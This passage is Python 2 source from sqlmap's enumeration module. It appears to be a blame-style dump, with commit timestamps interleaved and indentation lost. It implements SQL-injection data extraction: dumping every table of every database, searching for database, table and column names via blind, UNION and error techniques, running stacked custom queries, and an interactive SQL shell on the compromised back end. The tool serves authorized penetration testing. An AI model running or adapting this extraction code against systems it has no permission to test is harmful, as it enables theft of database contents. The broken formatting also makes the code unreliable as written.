elif Backend.getIdentifiedDbms() in (DBMS.ACCESS, DBMS.SYBASE, DBMS.MAXDB, DBMS.MSSQL):
if Backend.isDbms(DBMS.ACCESS):
table = tbl
elif Backend.getIdentifiedDbms() in (DBMS.SYBASE, DBMS.MSSQL):
table = "%s.%s" % (conf.db, tbl)
elif Backend.isDbms(DBMS.MAXDB):
table = "%s.%s" % (conf.db, tbl)
retVal = self.__pivotDumpTable(table, colList, count, blind=True)
if retVal:
entries, lengths = retVal
2011-01-01 15:41:51 +03:00
2011-02-19 12:36:57 +03:00
else:
if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
plusOne = True
else:
plusOne = False
indexRange = getRange(count, dump=True, plusOne=plusOne)
2011-02-19 12:36:57 +03:00
for index in indexRange:
for column in colList:
if column not in lengths:
lengths[column] = 0
if column not in entries:
entries[column] = []
if Backend.getIdentifiedDbms() in ( DBMS.MYSQL, DBMS.PGSQL ):
2011-06-24 13:27:54 +04:00
query = rootQuery.blind.query % (column, conf.db, conf.tbl, index)
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
query = rootQuery.blind.query % (column, column,
tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), tbl.upper())),
index)
elif Backend.isDbms(DBMS.SQLITE):
query = rootQuery.blind.query % (column, tbl, index)
elif Backend.isDbms(DBMS.FIREBIRD):
query = rootQuery.blind.query % (index, column, tbl)
value = inject.getValue(query, inband=False, error=False, dump=True)
2011-01-01 15:41:51 +03:00
lengths[column] = max(lengths[column], len(value) if value else 0)
entries[column].append(value)
2011-01-01 15:41:51 +03:00
for column, columnEntries in entries.items():
length = max(lengths[column], len(column))
2011-01-01 15:41:51 +03:00
2011-06-24 13:27:54 +04:00
kb.data.dumpedTable[column] = { "length": length, "values": columnEntries }
2011-01-01 15:41:51 +03:00
entriesCount = len(columnEntries)
if len(kb.data.dumpedTable) > 0:
kb.data.dumpedTable["__infos__"] = { "count": entriesCount,
2011-06-16 17:41:02 +04:00
"table": safeSQLIdentificatorNaming(tbl, True),
"db": safeSQLIdentificatorNaming(conf.db) }
2011-05-10 19:48:48 +04:00
attackDumpedTable()
conf.dumper.dbTableValues(kb.data.dumpedTable)
else:
warnMsg = "unable to retrieve the entries of "
if conf.col:
warnMsg += "columns '%s' " % colString
warnMsg += "for table '%s' " % unsafeSQLIdentificatorNaming(tbl)
warnMsg += "on database '%s'" % unsafeSQLIdentificatorNaming(conf.db)
logger.warn(warnMsg)
2011-01-01 15:41:51 +03:00
except KeyboardInterrupt:
warnMsg = "Ctrl+C detected in dumping phase"
logger.warn(warnMsg)
except sqlmapConnectionException, e:
errMsg = "connection exception detected in dumping phase: "
errMsg += "'%s'" % e
logger.critical(errMsg)
def dumpAll(self):
if conf.db is not None and conf.tbl is None:
self.dumpTable()
return
if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
2011-04-30 17:20:05 +04:00
errMsg = "information_schema not available, "
errMsg += "back-end DBMS is MySQL < 5.0"
raise sqlmapUnsupportedFeatureException, errMsg
infoMsg = "sqlmap will dump entries of all databases' tables now"
logger.info(infoMsg)
2011-04-30 17:20:05 +04:00
conf.tbl = None
conf.col = None
self.getTables()
2010-11-05 01:00:14 +03:00
if kb.data.cachedTables:
if isinstance(kb.data.cachedTables, list):
kb.data.cachedTables = { None : kb.data.cachedTables }
2010-11-05 01:00:14 +03:00
for db, tables in kb.data.cachedTables.items():
conf.db = db
2010-11-05 01:00:14 +03:00
for table in tables:
try:
conf.tbl = table
kb.data.cachedColumns = {}
kb.data.dumpedTable = {}
2011-05-08 14:25:40 +04:00
self.dumpTable()
except sqlmapNoneDataException:
infoMsg = "skipping table '%s'" % table
logger.info(infoMsg)
def dumpFoundColumn(self, dbs, foundCols, colConsider):
if not dbs:
warnMsg = "no databases have tables containing any of the "
warnMsg += "provided columns"
logger.warn(warnMsg)
return
conf.dumper.dbColumns(foundCols, colConsider, dbs)
message = "do you want to dump entries? [Y/n] "
output = readInput(message, default="Y")
if output and output[0] not in ("y", "Y"):
return
dumpFromDbs = []
message = "which database(s)?\n[a]ll (default)\n"
for db, tblData in dbs.items():
if tblData:
message += "[%s]\n" % db
message += "[q]uit"
test = readInput(message, default="a")
if not test or test in ("a", "A"):
dumpFromDbs = dbs.keys()
elif test in ("q", "Q"):
return
else:
dumpFromDbs = test.replace(" ", "").split(",")
for db, tblData in dbs.items():
if db not in dumpFromDbs or not tblData:
continue
conf.db = db
dumpFromTbls = []
message = "which table(s) of database '%s'?\n" % db
message += "[a]ll (default)\n"
for tbl in tblData:
message += "[%s]\n" % tbl
message += "[s]kip\n"
message += "[q]uit"
test = readInput(message, default="a")
if not test or test in ("a", "A"):
dumpFromTbls = tblData
elif test in ("s", "S"):
continue
elif test in ("q", "Q"):
return
else:
dumpFromTbls = test.replace(" ", "").split(",")
for table, columns in tblData.items():
if table not in dumpFromTbls:
continue
conf.tbl = table
conf.col = ",".join(column for column in columns)
kb.data.cachedColumns = {}
kb.data.dumpedTable = {}
2011-06-24 13:27:54 +04:00
data = self.dumpTable(dbs)
if data:
conf.dumper.dbTableValues(data)
def searchDb(self):
foundDbs = []
rootQuery = queries[Backend.getIdentifiedDbms()].search_db
dbList = conf.db.split(",")
if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
dbCond = rootQuery.inband.condition2
else:
dbCond = rootQuery.inband.condition
dbConsider, dbCondParam = self.likeOrExact("database")
for db in dbList:
2011-03-30 01:54:15 +04:00
db = safeSQLIdentificatorNaming(db)
if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
db = db.upper()
infoMsg = "searching database"
if dbConsider == "1":
infoMsg += "s like"
2011-03-30 01:54:15 +04:00
infoMsg += " '%s'" % unsafeSQLIdentificatorNaming(db)
logger.info(infoMsg)
if conf.excludeSysDbs:
2011-03-30 01:54:15 +04:00
exclDbsQuery = "".join(" AND '%s' != %s" % (unsafeSQLIdentificatorNaming(db), dbCond) for db in self.excludeDbsList)
infoMsg = "skipping system database%s: %s" % ("s" if len(self.excludeDbsList) > 1 else "", ", ".join(db for db in self.excludeDbsList))
logger.info(infoMsg)
else:
exclDbsQuery = ""
dbQuery = "%s%s" % (dbCond, dbCondParam)
2011-03-30 01:54:15 +04:00
dbQuery = dbQuery % unsafeSQLIdentificatorNaming(db)
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) or isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR) or conf.direct:
if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
query = rootQuery.inband.query2
else:
query = rootQuery.inband.query
query += dbQuery
query += exclDbsQuery
values = inject.getValue(query, blind=False)
if not isNoneValue(values):
if isinstance(values, basestring):
values = [ values ]
for value in values:
2011-03-30 01:54:15 +04:00
value = safeSQLIdentificatorNaming(value)
foundDbs.append(value)
else:
infoMsg = "fetching number of databases"
if dbConsider == "1":
infoMsg += "s like"
2011-03-30 01:54:15 +04:00
infoMsg += " '%s'" % unsafeSQLIdentificatorNaming(db)
logger.info(infoMsg)
if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
query = rootQuery.blind.count2
else:
query = rootQuery.blind.count
query += dbQuery
query += exclDbsQuery
count = inject.getValue(query, inband=False, error=False, expected=EXPECTED.INT, charsetType=2)
if not isNumPosStrValue(count):
2011-04-30 17:20:05 +04:00
warnMsg = "no database"
if dbConsider == "1":
warnMsg += "s like"
2011-03-30 01:54:15 +04:00
warnMsg += " '%s' found" % unsafeSQLIdentificatorNaming(db)
logger.warn(warnMsg)
continue
indexRange = getRange(count)
for index in indexRange:
if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
query = rootQuery.blind.query2
else:
query = rootQuery.blind.query
query += dbQuery
query += exclDbsQuery
if Backend.isDbms(DBMS.DB2):
query += ") AS foobar"
query = agent.limitQuery(index, query, dbCond)
value = inject.getValue(query, inband=False, error=False)
2011-03-30 01:54:15 +04:00
value = safeSQLIdentificatorNaming(value)
foundDbs.append(value)
return foundDbs
def searchTable(self):
bruteForce = False
if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
2011-04-30 17:20:05 +04:00
errMsg = "information_schema not available, "
errMsg += "back-end DBMS is MySQL < 5.0"
bruteForce = True
elif Backend.isDbms(DBMS.ACCESS):
2011-04-30 17:20:05 +04:00
errMsg = "cannot retrieve table names, "
errMsg += "back-end DBMS is Access"
logger.error(errMsg)
bruteForce = True
if bruteForce:
message = "do you want to use common table existence check? [Y/n/q]"
test = readInput(message, default="Y")
if test[0] in ("n", "N"):
return
elif test[0] in ("q", "Q"):
raise sqlmapUserQuitException
else:
regex = "|".join(conf.tbl.split(","))
return tableExists(paths.COMMON_TABLES, regex)
rootQuery = queries[Backend.getIdentifiedDbms()].search_table
foundTbls = {}
tblList = conf.tbl.split(",")
tblCond = rootQuery.inband.condition
dbCond = rootQuery.inband.condition2
tblConsider, tblCondParam = self.likeOrExact("table")
for tbl in tblList:
2011-03-30 01:54:15 +04:00
tbl = safeSQLIdentificatorNaming(tbl, True)
if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
tbl = tbl.upper()
infoMsg = "searching table"
if tblConsider == "1":
infoMsg += "s like"
2011-03-30 01:54:15 +04:00
infoMsg += " '%s'" % unsafeSQLIdentificatorNaming(tbl)
logger.info(infoMsg)
if conf.excludeSysDbs:
2011-03-30 01:54:15 +04:00
exclDbsQuery = "".join(" AND '%s' != %s" % (unsafeSQLIdentificatorNaming(db), dbCond) for db in self.excludeDbsList)
infoMsg = "skipping system database%s: %s" % ("s" if len(self.excludeDbsList) > 1 else "", ", ".join(db for db in self.excludeDbsList))
logger.info(infoMsg)
else:
exclDbsQuery = ""
tblQuery = "%s%s" % (tblCond, tblCondParam)
tblQuery = tblQuery % tbl
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) or isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR) or conf.direct:
query = rootQuery.inband.query
query += tblQuery
query += exclDbsQuery
values = inject.getValue(query, blind=False)
if not isNoneValue(values):
if isinstance(values, basestring):
values = [ values ]
for foundDb, foundTbl in values:
2011-03-30 01:54:15 +04:00
foundDb = safeSQLIdentificatorNaming(foundDb)
foundTbl = safeSQLIdentificatorNaming(foundTbl, True)
2011-02-10 14:34:16 +03:00
if foundDb is None or foundTbl is None:
continue
if foundDb in foundTbls:
foundTbls[foundDb].append(foundTbl)
else:
foundTbls[foundDb] = [ foundTbl ]
else:
infoMsg = "fetching number of databases with table"
if tblConsider == "1":
infoMsg += "s like"
2011-03-30 01:54:15 +04:00
infoMsg += " '%s'" % unsafeSQLIdentificatorNaming(tbl)
logger.info(infoMsg)
query = rootQuery.blind.count
query += tblQuery
query += exclDbsQuery
count = inject.getValue(query, inband=False, error=False, expected=EXPECTED.INT, charsetType=2)
if not isNumPosStrValue(count):
2011-04-30 17:20:05 +04:00
warnMsg = "no databases have table"
if tblConsider == "1":
warnMsg += "s like"
2011-03-30 01:54:15 +04:00
warnMsg += " '%s'" % unsafeSQLIdentificatorNaming(tbl)
logger.warn(warnMsg)
continue
indexRange = getRange(count)
for index in indexRange:
query = rootQuery.blind.query
query += tblQuery
query += exclDbsQuery
if Backend.isDbms(DBMS.DB2):
query += ") AS foobar"
query = agent.limitQuery(index, query)
foundDb = inject.getValue(query, inband=False, error=False)
2011-03-30 01:54:15 +04:00
foundDb = safeSQLIdentificatorNaming(foundDb)
2011-02-10 14:34:16 +03:00
if foundDb not in foundTbls:
foundTbls[foundDb] = []
if tblConsider == "2":
foundTbls[foundDb].append(tbl)
if tblConsider == "2":
continue
for db in foundTbls.keys():
2011-03-30 01:54:15 +04:00
db = safeSQLIdentificatorNaming(db)
infoMsg = "fetching number of table"
if tblConsider == "1":
infoMsg += "s like"
2011-03-30 01:54:15 +04:00
infoMsg += " '%s' in database '%s'" % (unsafeSQLIdentificatorNaming(tbl), db)
logger.info(infoMsg)
query = rootQuery.blind.count2
2011-03-30 01:54:15 +04:00
query = query % unsafeSQLIdentificatorNaming(db)
query += " AND %s" % tblQuery
count = inject.getValue(query, inband=False, error=False, expected=EXPECTED.INT, charsetType=2)
if not isNumPosStrValue(count):
warnMsg = "no table"
if tblConsider == "1":
warnMsg += "s like"
2011-03-30 01:54:15 +04:00
warnMsg += " '%s' " % unsafeSQLIdentificatorNaming(tbl)
warnMsg += "in database '%s'" % db
logger.warn(warnMsg)
continue
indexRange = getRange(count)
for index in indexRange:
query = rootQuery.blind.query2
2011-03-30 01:54:15 +04:00
query = query % unsafeSQLIdentificatorNaming(db)
query += " AND %s" % tblQuery
query = agent.limitQuery(index, query)
foundTbl = inject.getValue(query, inband=False, error=False)
kb.hintValue = foundTbl
2011-03-30 01:54:15 +04:00
foundTbl = safeSQLIdentificatorNaming(foundTbl, True)
foundTbls[db].append(foundTbl)
return foundTbls
def searchColumn(self):
bruteForce = False
if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
2011-04-30 17:20:05 +04:00
errMsg = "information_schema not available, "
errMsg += "back-end DBMS is MySQL < 5.0"
bruteForce = True
elif Backend.isDbms(DBMS.ACCESS):
2011-04-30 17:20:05 +04:00
errMsg = "cannot retrieve column names, "
errMsg += "back-end DBMS is Access"
logger.error(errMsg)
bruteForce = True
if bruteForce:
message = "do you want to use common columns existence check? [Y/n/q]"
test = readInput(message, default="Y")
if test[0] in ("n", "N"):
return
elif test[0] in ("q", "Q"):
raise sqlmapUserQuitException
else:
regex = "|".join(conf.col.split(","))
2010-12-27 03:41:16 +03:00
conf.dumper.dbTableColumns(columnExists(paths.COMMON_COLUMNS, regex))
message = "do you want to dump entries? [Y/n] "
output = readInput(message, default="Y")
if output and output[0] not in ("n", "N"):
self.dumpAll()
return
rootQuery = queries[Backend.getIdentifiedDbms()].search_column
foundCols = {}
dbs = {}
colList = conf.col.split(",")
colCond = rootQuery.inband.condition
dbCond = rootQuery.inband.condition2
colConsider, colCondParam = self.likeOrExact("column")
for column in colList:
2011-03-30 01:54:15 +04:00
column = safeSQLIdentificatorNaming(column)
if Backend.isDbms(DBMS.DB2):
column = column.upper()
infoMsg = "searching column"
if colConsider == "1":
infoMsg += "s like"
2011-03-30 01:54:15 +04:00
infoMsg += " '%s'" % unsafeSQLIdentificatorNaming(column)
logger.info(infoMsg)
foundCols[column] = {}
if conf.excludeSysDbs:
exclDbsQuery = "".join(" AND '%s' != %s" % (db, dbCond) for db in self.excludeDbsList)
infoMsg = "skipping system database%s: %s" % ("s" if len(self.excludeDbsList) > 1 else "", ", ".join(db for db in self.excludeDbsList))
logger.info(infoMsg)
else:
exclDbsQuery = ""
colQuery = "%s%s" % (colCond, colCondParam)
2011-03-30 01:54:15 +04:00
colQuery = colQuery % unsafeSQLIdentificatorNaming(column)
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) or isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR) or conf.direct:
query = rootQuery.inband.query
query += colQuery
query += exclDbsQuery
values = inject.getValue(query, blind=False)
if not isNoneValue(values):
if isinstance(values, basestring):
values = [ values ]
for foundDb, foundTbl in values:
2011-03-30 01:54:15 +04:00
foundDb = safeSQLIdentificatorNaming(foundDb)
foundTbl = safeSQLIdentificatorNaming(foundTbl, True)
2011-02-10 14:34:16 +03:00
if foundDb is None or foundTbl is None:
continue
if foundDb not in dbs:
dbs[foundDb] = {}
if foundTbl not in dbs[foundDb]:
dbs[foundDb][foundTbl] = {}
if colConsider == "1":
conf.db = foundDb
conf.tbl = foundTbl
conf.col = column
2011-06-24 13:27:54 +04:00
self.getColumns(onlyColNames=True, colTuple=(colConsider, colCondParam))
2011-06-16 18:27:44 +04:00
if foundDb in kb.data.cachedColumns and foundTbl in kb.data.cachedColumns[foundDb]:
dbs[foundDb][foundTbl].update(kb.data.cachedColumns[foundDb][foundTbl])
kb.data.cachedColumns = {}
else:
dbs[foundDb][foundTbl][column] = None
if foundDb in foundCols[column]:
foundCols[column][foundDb].append(foundTbl)
else:
foundCols[column][foundDb] = [ foundTbl ]
else:
infoMsg = "fetching number of databases with tables containing column"
if colConsider == "1":
infoMsg += "s like"
infoMsg += " '%s'" % column
logger.info(infoMsg)
query = rootQuery.blind.count
query += colQuery
query += exclDbsQuery
count = inject.getValue(query, inband=False, error=False, expected=EXPECTED.INT, charsetType=2)
if not isNumPosStrValue(count):
2011-04-30 17:20:05 +04:00
warnMsg = "no databases have tables containing column"
if colConsider == "1":
warnMsg += "s like"
warnMsg += " '%s'" % column
logger.warn(warnMsg)
continue
2010-01-11 16:06:16 +03:00
indexRange = getRange(count)
for index in indexRange:
query = rootQuery.blind.query
query += colQuery
query += exclDbsQuery
if Backend.isDbms(DBMS.DB2):
query += ") AS foobar"
query = agent.limitQuery(index, query)
db = inject.getValue(query, inband=False, error=False)
2011-03-30 01:54:15 +04:00
db = safeSQLIdentificatorNaming(db)
if db not in dbs:
dbs[db] = {}
if db not in foundCols[column]:
foundCols[column][db] = []
for column, dbData in foundCols.items():
colQuery = "%s%s" % (colCond, colCondParam)
colQuery = colQuery % column
for db in dbData:
2011-03-30 01:54:15 +04:00
db = safeSQLIdentificatorNaming(db)
infoMsg = "fetching number of tables containing column"
if colConsider == "1":
infoMsg += "s like"
2011-03-30 01:54:15 +04:00
infoMsg += " '%s' in database '%s'" % (unsafeSQLIdentificatorNaming(column), db)
logger.info(infoMsg)
query = rootQuery.blind.count2
query = query % db
query += " AND %s" % colQuery
count = inject.getValue(query, inband=False, error=False, expected=EXPECTED.INT, charsetType=2)
if not isNumPosStrValue(count):
warnMsg = "no tables contain column"
if colConsider == "1":
warnMsg += "s like"
warnMsg += " '%s' " % column
warnMsg += "in database '%s'" % db
logger.warn(warnMsg)
continue
indexRange = getRange(count)
for index in indexRange:
query = rootQuery.blind.query2
query = query % db
query += " AND %s" % colQuery
query = agent.limitQuery(index, query)
tbl = inject.getValue(query, inband=False, error=False)
kb.hintValue = tbl
2011-03-30 01:54:15 +04:00
tbl = safeSQLIdentificatorNaming(tbl, True)
if tbl not in dbs[db]:
dbs[db][tbl] = {}
if colConsider == "1":
conf.db = db
conf.tbl = tbl
conf.col = column
2011-06-24 13:27:54 +04:00
self.getColumns(onlyColNames=True, colTuple=(colConsider, colCondParam))
2011-06-16 18:27:44 +04:00
if db in kb.data.cachedColumns and tbl in kb.data.cachedColumns[db]:
dbs[db][tbl].update(kb.data.cachedColumns[db][tbl])
kb.data.cachedColumns = {}
else:
dbs[db][tbl][column] = None
foundCols[column][db].append(tbl)
self.dumpFoundColumn(dbs, foundCols, colConsider)
def search(self):
if conf.db:
conf.dumper.lister("found databases", self.searchDb())
2008-10-15 19:38:22 +04:00
if conf.tbl:
conf.dumper.dbTables(self.searchTable())
2008-10-15 19:38:22 +04:00
if conf.col:
self.searchColumn()
2008-10-15 19:38:22 +04:00
if not conf.db and not conf.tbl and not conf.col:
errMsg = "missing parameter, provide -D, -T or -C together "
errMsg += "with --search"
raise sqlmapMissingMandatoryOptionException, errMsg
2008-10-15 19:38:22 +04:00
def sqlQuery(self, query):
output = None
sqlType = None
getOutput = None
for sqlTitle, sqlStatements in SQL_STATEMENTS.items():
for sqlStatement in sqlStatements:
if query.lower().startswith(sqlStatement):
sqlType = sqlTitle
break
if not self.alwaysRetrieveSqlOutput:
message = "do you want to retrieve the SQL statement output? "
if not sqlType or 'SELECT' in sqlType:
message += "[Y/n/a] "
getOutput = readInput(message, default="Y")
else:
message += "[y/N/a] "
getOutput = readInput(message, default="N")
if getOutput in ("a", "A"):
self.alwaysRetrieveSqlOutput = True
if not getOutput or getOutput in ("y", "Y") or self.alwaysRetrieveSqlOutput:
2010-03-31 17:52:51 +04:00
infoMsg = "fetching %s query output: '%s'" % (sqlType if sqlType is not None else "SQL", query)
logger.info(infoMsg)
output = inject.getValue(query, fromUser=True)
return output
else:
2010-12-18 18:57:47 +03:00
if not isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED) and not conf.direct:
2011-04-30 17:20:05 +04:00
warnMsg = "execution of custom SQL queries is only "
2010-10-15 19:37:15 +04:00
warnMsg += "available when stacked queries are supported"
2010-09-25 02:09:33 +04:00
logger.warn(warnMsg)
return None
else:
if sqlType:
2010-03-31 17:52:51 +04:00
infoMsg = "executing %s query: '%s'" % (sqlType if sqlType is not None else "SQL", query)
else:
infoMsg = "executing unknown SQL type query: '%s'" % query
logger.info(infoMsg)
2008-10-15 19:38:22 +04:00
inject.goStacked(query)
infoMsg = "done"
logger.info(infoMsg)
output = False
return output
2008-10-15 19:38:22 +04:00
def sqlShell(self):
2011-04-30 17:20:05 +04:00
infoMsg = "calling %s shell. To quit type " % Backend.getIdentifiedDbms()
infoMsg += "'x' or 'q' and press ENTER"
logger.info(infoMsg)
2008-10-15 19:38:22 +04:00
autoCompletion(sqlShell=True)
while True:
query = None
try:
query = raw_input("sql-shell> ")
query = utf8decode(query)
2008-10-15 19:38:22 +04:00
except KeyboardInterrupt:
print
errMsg = "user aborted"
logger.error(errMsg)
except EOFError:
print
errMsg = "exit"
logger.error(errMsg)
break
if not query:
continue
if query.lower() in ( "x", "q", "exit", "quit" ):
break
output = self.sqlQuery(query)
if output and output != "Quit":
conf.dumper.query(query, output)
elif not output:
pass
2008-10-15 19:38:22 +04:00
elif output != "Quit":
2010-10-21 02:09:03 +04:00
dataToStdout("No output\n")